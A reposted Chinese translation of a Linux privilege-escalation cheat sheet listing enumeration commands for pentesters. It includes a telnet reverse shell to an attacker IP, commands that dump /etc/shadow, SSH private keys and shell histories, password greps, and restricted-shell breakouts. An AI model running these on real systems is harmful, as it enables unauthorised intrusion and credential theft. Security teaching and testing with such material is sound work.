在本文开始之前,我想指出我不是专家。据我所知,在这个庞大的区域,没有一个“神奇”的答案.

分享,共享(我的出发点)。


列举关键点
(Linux)的提权是怎么一回事:

  • 收集 – 枚举,枚举和一些更多的枚举。

  • 过程 – 通过数据排序,分析和确定优先次序。

  • 搜索 – 知道搜索什么和在哪里可以找到漏洞代码。

  • 适应 – 自定义的漏洞,所以它适合。每个系统的工作并不是每一个漏洞“都固定不变”。

  • 尝试 – 做好准备,试验和错误。

  • 操作类型


操作系统是什么版本?

cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release
cat /etc/redhat-release


它的内核版本是什么?

cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz


它的环境变量里有些什么?

cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set


是否有台打印机?

lpstat -a


  • 应用与服务


正在运行什么服务?什么样的服务具有什么用户权限?

ps aux
ps -ef
top
cat /etc/service


哪些服务具有root的权限?这些服务里你看起来那些有漏洞,进行再次检查!

ps aux | grep root
ps -ef | grep root


安装了哪些应用程序?他们是什么版本?哪些是当前正在运行的?

ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/


Service设置,有任何的错误配置吗?是否有任何(脆弱的)的插件?

cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/


主机上有哪些工作计划?

crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root


主机上可能有哪些纯文本用户名和密码?

grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"   # Joomla
  • 通信与网络


NIC(s),系统有哪些?它是连接到哪一个网络?

/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network


网络配置设置是什么?网络中有什么样的服务器?DHCP服务器?DNS服务器?网关?

cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname


其他用户主机与系统的通信?

lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w


缓存?IP和/或MAC地址?

arp -e
route
/sbin/route -nee


数据包可能嗅探吗?可以看出什么?监听流量

# tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]
tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21


你如何get一个shell?你如何与系统进行交互?

# http://lanmaster53.com/2011/05/7-linux-shells-using-built-in-tools/
nc -lvp 4444    # Attacker. 输入 (命令)
nc -lvp 4445    # Attacker. 输出(结果)
telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445    # 在目标系统上. 使用 ***者的IP!


如何端口转发?(端口重定向)

# rinetd
# http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch
# fpipe
# FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]
FPipe.exe -l 80 -r 80 -s 80 192.168.1.7
#ssh
# ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]
ssh -L 8080:127.0.0.1:80 root@192.168.1.7    # Local Port
ssh -R 8080:127.0.0.1:80 root@192.168.1.7    # Remote Port
#mknod
# mknod backpipe p ; nc -l -p [remote port] < backpipe  | nc [local IP] [local port] >backpipe
mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe    # Port Relay
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe    # Proxy (Port 80 to 8080)
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a

outflow & 1>backpipe # Proxy monitor (Port 80 to 8080)


建立隧道可能吗?本地,远程发送命令

ssh -D 127.0.0.1:9050 -N [username]@[ip]
proxychains ifconfig


  • 秘密信息和用户


你是谁?哪个id登录?谁已经登录?还有谁在这里?谁可以做什么呢?

id
who
w
last
cat /etc/passwd | cut -d:    # List of users
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'   # List of super users
awk -F: '($3 == "0") {print}' /etc/passwd   # List of super users
cat /etc/sudoers
sudo -l


可以找到什么敏感文件?

cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/


什么有趣的文件在home/directorie(S)里?如果有权限访问

ls -ahlR /root/
ls -ahlR /home/


是否有任何密码,脚本,数据库,配置文件或日志文件?密码默认路径和位置

cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg


用户做过什么?是否有任何密码呢?他们有没有编辑什么?

cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history


可以找到什么样的用户信息

cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root


private-key 信息能否被发现?

cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key


  • 文件系统


哪些用户可以写配置文件在/ etc /?能够重新配置服务?


ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null      # Anyone
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null        # Owner
ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null     # Group
ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null          # Other
find /etc/ -readable -type f 2>/dev/null                # Anyone
find /etc/ -readable -type f -maxdepth 1 2>/dev/null    # Anyone



在/ var /有什么可以发现?

ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases


网站上的任何隐藏配置/文件?配置文件与数据库信息?

ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/


有什么在日志文件里?(什么能够帮助到“本地文件包含”?)

# http://www.thegeekstuff.com/2011/08/linux-var-log-files/
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/


如果命令限制,你可以打出哪些突破它的限制?

python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i


如何安装文件系统?

mount
df -h


是否有挂载的文件系统?

cat /etc/fstab



  • 准备和查找漏洞利用代码


安装了什么开发工具/语言/支持?

find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc


如何上传文件?

find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp


查找exploit代码

http://www.exploit-db.com

http://1337day.com

http://www.securiteam.com

http://www.securityfocus.com

http://www.exploitsearch.net

http://metasploit.com/modules/

http://securityreason.com

http://seclists.org/fulldisclosure/

http://www.google.com

例如

http://www.0daysecurity.com/penetration-testing/enumeration.html

http://www.microloft.co.uk/hacking/hacking3.htm

其他

http://jon.oberheide.org/files/stackjacking-infiltrate11.pdf

http://pentest.cryptocity.net/files/clientsides/post_exploitation_fall09.pdf

http://insidetrust.blogspot.com/2011/04/quick-guide-to-linux-privilege.html


本文转载自91ri.org

原文地址:http://www.91ri.org/7459.html